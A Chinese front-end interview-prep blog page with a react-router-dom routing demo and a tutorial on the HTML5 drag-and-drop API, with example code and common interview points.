**react-router-dom**,在react-router的核心基础上，添加了用于跳转的Link组件，和histoy模式下的BrowserRouter和hash模式下的HashRouter组件等。所谓**BrowserRouter和HashRouter，也只不过用了history库中createBrowserHistory和createHashHistory方法**

react-router-dom 我们不多说了，这里我们重点看一下react-router。

②来个小demo尝尝鲜?

import { BrowserRouter as Router, Switch, Route, Redirect,Link } from 'react-router-dom'

import Detail from '../src/page/detail'
import List from '../src/page/list'
import Index from '../src/page/home/index'

const menusList = [
 {
 name: '首页',
 path: '/index'
 },
 {
 name: '列表',
 path: '/list'
 },
 {
 name: '详情',
 path: '/detail'
 },
]
const index = () => {
 return <div >
 <div >

 <Router >
 <div>{
 /* link 路由跳转 */
 menusList.map(router=><Link key={router.path} to={ router.path } >
 <span className="routerLink" >{router.name}</span>
 </Link>)
 }</div>
 <Switch>
 <Route path={'/index'} component={Index} ></Route>
 <Route path={'/list'} component={List} ></Route>
 <Route path={'/detail'} component={Detail} ></Route>
 {/* 路由不匹配，重定向到/index */}
 <Redirect from='/*' to='/index' />
 </Switch>
 </Router>
 </div>
 </div>
}

效果如下

拖放API

Thu, 17 Oct 2024 00:00:00 +0800

HTML5 中的拖拽（Drag and Drop，简称 DnD）功能为网页元素提供了原生的拖放支持。通过 HTML5 的拖放 API，开发者可以让元素变得可拖动，并实现拖拽和释放的交互效果。

HTML5 拖拽的基本原理

HTML5 拖拽操作的核心是 dragstart、dragover 和 drop 等事件。以下是拖拽的工作流程：

可拖动元素：使用 draggable="true" 使一个元素可被拖拽。
源元素触发拖拽：当用户点击并开始拖动可拖动元素时，触发 dragstart 事件。
拖拽中：拖拽过程中，目标区域会触发 dragover 事件。
释放元素：当用户释放被拖动的元素到目标区域时，目标会触发 drop 事件。

实现步骤

设置拖拽元素：使用 draggable="true" 使 HTML 元素可拖动。
监听拖拽事件：

dragstart：当拖拽开始时触发。
dragover：在拖拽过程中，拖动到可放置目标区域时持续触发。
drop：当拖动的元素被释放到目标区域时触发。

阻止默认行为：dragover 和 drop 事件默认情况下是禁止的，需要使用 event.preventDefault() 来阻止默认行为，从而允许放置元素。

拖拽的相关事件

dragstart：在拖动开始时触发，用来设置拖动数据（如拖动的数据类型和数据内容）。
dragend：拖动操作结束时触发，可以用来清理状态。
dragenter：当拖动的元素进入目标区域时触发。
dragover：当拖动元素在目标区域上方移动时持续触发，默认情况下不会触发 drop，因此需要通过 event.preventDefault() 来允许放置。
dragleave：当拖动的元素离开目标区域时触发。
drop：当拖动的元素释放到目标区域时触发，可以获取拖动的数据。

拖拽实例

<!DOCTYPE html>
<html lang="en">
<head>
 <meta charset="UTF-8">
 <meta name="viewport" content="width=device-width, initial-scale=1.0">
 <title>HTML5 拖拽示例</title>
 <style>
 #dragElement {
 width: 100px;
 height: 100px;
 background-color: lightcoral;
 text-align: center;
 line-height: 100px;
 cursor: grab;
 }

 #dropZone {
 width: 200px;
 height: 200px;
 background-color: lightblue;
 margin-top: 20px;
 text-align: center;
 line-height: 200px;
 }
 </style>
</head>
<body>
 <div id="dragElement" draggable="true">拖拽我</div>
 <div id="dropZone">放置到这里</div>

 <script>
 // 获取元素
 const dragElement = document.getElementById('dragElement');
 const dropZone = document.getElementById('dropZone');

 // 拖拽开始事件
 dragElement.addEventListener('dragstart', function(event) {
 // 设置数据，类型和内容
 event.dataTransfer.setData('text', event.target.id);
 });

 // 拖拽过程中在目标上方移动时，必须阻止默认行为
 dropZone.addEventListener('dragover', function(event) {
 event.preventDefault();
 });

 // 放置事件
 dropZone.addEventListener('drop', function(event) {
 event.preventDefault(); // 阻止默认行为
 const data = event.dataTransfer.getData('text');
 const draggedElement = document.getElementById(data);
 event.target.appendChild(draggedElement); // 将拖动的元素放入目标区域
 });
 </script>
</body>
</html>

代码说明

拖拽元素：draggable="true" 使得 #dragElement 可拖动。
拖拽开始：dragstart 事件设置了拖拽的元素数据，存入 dataTransfer 对象中。
允许放置：dragover 事件通过 event.preventDefault() 允许拖拽元素放置在目标区域。
放置元素：drop 事件在目标区域中，通过 event.dataTransfer.getData() 获取拖动的数据并进行处理。

常见考点

1. 基本概念与原理

定义：HTML5 提供了内置的拖拽功能，通过 draggable 属性和 Drag and Drop API 实现元素拖放操作。
原理：拖拽功能依赖一系列事件，如 dragstart、drag、dragend、dragover、drop 等来实现拖放操作。

2. 如何启用拖拽

draggable 属性：默认情况下，HTML 元素是不可拖拽的。要启用拖拽，需要设置元素的 draggable="true"。

<div draggable="true">Drag me!</div>

事件绑定：考察点可能包括如何通过 dragstart 等事件处理拖拽行为。

const draggableElement = document.getElementById('draggable');
draggableElement.addEventListener('dragstart', (event) => {
 event.dataTransfer.setData('text/plain', 'This is a draggable element');
});

3. Drag and Drop 的核心事件

dragstart：用户开始拖动时触发，通常用于设置拖拽的数据和外观。
drag：在拖动过程中持续触发，可用于动态更新拖拽效果。
dragend：拖动结束时触发，可以用于清除拖拽状态。
dragenter：被拖拽的元素进入可放置区域时触发。
dragover：在拖动元素悬停在放置区域时持续触发，通常需要调用 event.preventDefault() 来允许放置。
dragleave：当拖动元素离开放置区域时触发。
drop：用户放开被拖动的元素时触发，用于处理放置操作。

4. 数据传输

dataTransfer 对象：event.dataTransfer 是拖拽过程中传输数据的关键对象。常见考点包括如何通过 dataTransfer.setData() 和 dataTransfer.getData() 方法在 dragstart 和 drop 事件之间传递数据。

// dragstart 中设置数据
event.dataTransfer.setData('text', 'Dragged Data');

// drop 中获取数据
const data = event.dataTransfer.getData('text');

传输多种数据类型：考察如何传输不同的数据类型（如文本、URL、文件等）以及如何处理这些数据。

5. dropzone 区域的设置

允许放置元素：默认情况下，放置区域不会接受被拖拽的元素，需要在 dragover 事件中调用 event.preventDefault() 来显式地允许放置操作。

const dropzone = document.getElementById('dropzone');
dropzone.addEventListener('dragover', (event) => {
 event.preventDefault(); // 允许放置
});

6. 拖拽的样式处理

自定义拖拽效果：通过 event.dataTransfer.setDragImage() 设置自定义的拖拽图片，考察点可能包括如何替换默认的拖拽预览图。

event.dataTransfer.setDragImage(imageElement, offsetX, offsetY);

拖拽时的 CSS 样式：考察如何使用 CSS 类和事件配合，实现拖拽时的视觉效果。

.dragging {
 opacity: 0.5;
}

7. 跨页面或跨应用的拖拽

跨文档拖拽：考察是否了解如何处理跨 iframe 或浏览器窗口的拖拽。
拖拽文件：用户可以将外部文件（如从桌面拖动文件）拖入浏览器的 dropzone，需要处理 dataTransfer.files 属性。

const files = event.dataTransfer.files;

8. 拖拽与输入法的冲突

在移动设备上，拖拽和触摸事件可能存在冲突，因此考察点可能包括如何处理拖拽在移动端的实现或替代方案。

9. 可访问性

键盘可用性：默认拖拽操作主要依赖鼠标，因此考察点可能包括如何使拖拽操作可通过键盘导航，确保网站的无障碍性。
ARIA 支持：在实现拖拽功能时，如何使用 ARIA 属性为屏幕阅读器用户提供反馈是常见的可访问性考察点。

10. 兼容性

浏览器兼容性：HTML5 拖拽在不同浏览器中的支持情况不一致，尤其是在移动端，考察点可能包括如何处理浏览器兼容性问题，特别是在触摸设备上使用拖拽功能时的挑战。

11. 常见的应用场景

文件上传：通过拖拽文件进行上传是常见的考察场景，如何实现文件的拖放上传功能是常见问题。
可拖拽列表：如何通过拖拽重新排序列表项，如实现类似于 Trello 的拖放功能。
游戏和图形界面：拖放在交互式游戏或图形应用中被广泛使用，可能会考察如何通过拖拽元素实现复杂的交互效果。

12. 事件顺序

了解拖拽过程中的事件触发顺序也是一个重要的考察点，常见顺序为：dragstart -> drag -> dragenter -> dragover -> drop -> dragend。

13. 拖拽的取消

取消拖拽：通过调用 event.preventDefault() 可以阻止某些拖拽事件的默认行为，如取消 drop 事件。

14. 使用 JavaScript 框架实现拖拽

有些前端面试可能会考察如何利用 JavaScript 框架（如 React、Vue、Angular）实现拖拽交互，以及如何处理拖拽相关的状态管理和数据绑定。

面试 on Last Stand

Swift 面试：ARC 与内存管理源码解析

Swift 面试：ARC 与内存管理源码解析

面试高频问题

30 秒回答版

AI Agent

一、从聊天机器人到智能体

1.1 纯LLM的局限

1.2 Agent的定义

二、Agent的核心组件

2.1 架构总览

2.2 LLM：Agent的大脑

App启动流程

启动类型概览

一、冷启动（Cold Launch）

冷启动流程概览

Pre-main 阶段

DRY原则

什么是DRY原则？

核心思想

知识的单一来源

DRY vs WET

Flutter 详解

一、Flutter 是什么

1.1 一句话定义

Instruments详解

一、Instruments 基础

1.1 启动 Instruments 的几种方式

代理模式

一、Proxy Pattern（代理模式）

定义

模式结构

Proxy的类型

1. 虚拟代理（Virtual Proxy）

小红书-社招-5年 · 第 1 轮 · 技术面试

1. BFC讲一下

题目要点

BFC 的作用

如何触发 BFC

小红书-社招-3年 · 第 1 轮 · 技术面试

1. js中基本类型 和 引用类型的存储有什么不一样

题目要点

2. 闭包的内存泄漏应该如何监控和解决？

题目要点

浏览器

命令行

小红书-社招-1年 · 第 1 轮 · 技术面试

1. 项目中为何选择 Tailwind CSS ？

题目要点

2. Tailwind 是怎么解决样式冲突的？

题目要点

一、传统 CSS 为什么容易冲突

1. 选择器冲突

2. 层级嵌套带来的权重问题

3. 样式全局污染

360-实习 · 第 1 轮 · 技术面试

1. 自我介绍

题目要点

2. 你的职业规划与前端技术方向的关系？

题目要点

3. 讲一个你参与过的项目

题目要点

1. 项目架构

2. 构建工具和配置

3. 开发环境

4. 包管理

5. 自动化流程

6. 代码质量

7. 文档

8. 组件库

9. 性能优化

10. 安全

4. 项目中遇到的印象最深的难题是什么？如何解决的？

题目要点

百度-百家号-实习 · 第 1 轮 · 技术面试

1. 如何判断一个变量是数组？

题目要点

1. Array.isArray() 方法

2. instanceof 操作符

3. Object.prototype.toString.call() 方法

1. js中基本类型和引用类型的存储有什么不一样

1. `Array.isArray()` 方法

2. `instanceof` 操作符

3. `Object.prototype.toString.call()` 方法

4. `constructor` 属性

5. `Array.prototype.isPrototypeOf()` 方法

6. 使用 `constructor` 属性和原型链